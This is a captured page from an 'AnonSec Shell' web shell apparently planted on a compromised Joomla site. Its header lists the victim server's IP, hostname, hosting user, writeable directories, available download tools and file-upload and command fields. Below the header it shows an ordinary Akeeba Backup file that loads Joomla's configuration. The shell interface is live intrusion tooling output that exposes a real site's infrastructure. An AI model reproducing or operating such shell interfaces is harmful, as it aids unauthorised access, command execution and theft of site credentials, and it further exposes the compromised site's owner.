AnonSec Shell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.193
Web Server : Apache
System : Linux webm006.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : awebpaca ( 35430)
PHP Version : 8.5.0
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/a/w/e/awebpaca/minedecapgaronne/administrator/components/com_akeeba/akeeba/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/a/w/e/awebpaca/minedecapgaronne/administrator/components/com_akeeba/akeeba/utils/jconfig.php
<?php
/**
 * Akeeba Engine
 * The modular PHP5 site backup engine
 * @copyright Copyright (c)2009-2014 Nicholas K. Dionysopoulos
 * @license   GNU GPL version 3 or, at your option, any later version
 * @package   akeebaengine
 *
 */

/**
 * A compact class to load Joomla!'s Global Configuration options
 * @author Nicholas
 */
class AEUtilJconfig
{
	/**
	 * Returns the value of a Joomla! Global Configuration option
	 *
	 * @param    string $key     The name of the variable to return
	 * @param    mixed  $default Default value to return if the variable doesn't exist
	 *
	 * @return    mixed    The variable's contents
	 */
	public static function getValue($key, $default = null)
	{
		if (!class_exists('JConfig'))
		{
			if (defined('JPATH_CONFIGURATION'))
			{
				require_once JPATH_CONFIGURATION . '/configuration.php';
			}
			else
			{
				require_once JPATH_SITE . '/configuration.php';
			}
		}
		$config = new JConfig;

		$class_vars = get_class_vars('JConfig');
		if (array_key_exists($key, $class_vars))
		{
			return $class_vars[$key];
		}
		else
		{
			return $default;
		}
	}
}

Anon7 - 2022
AnonSec Team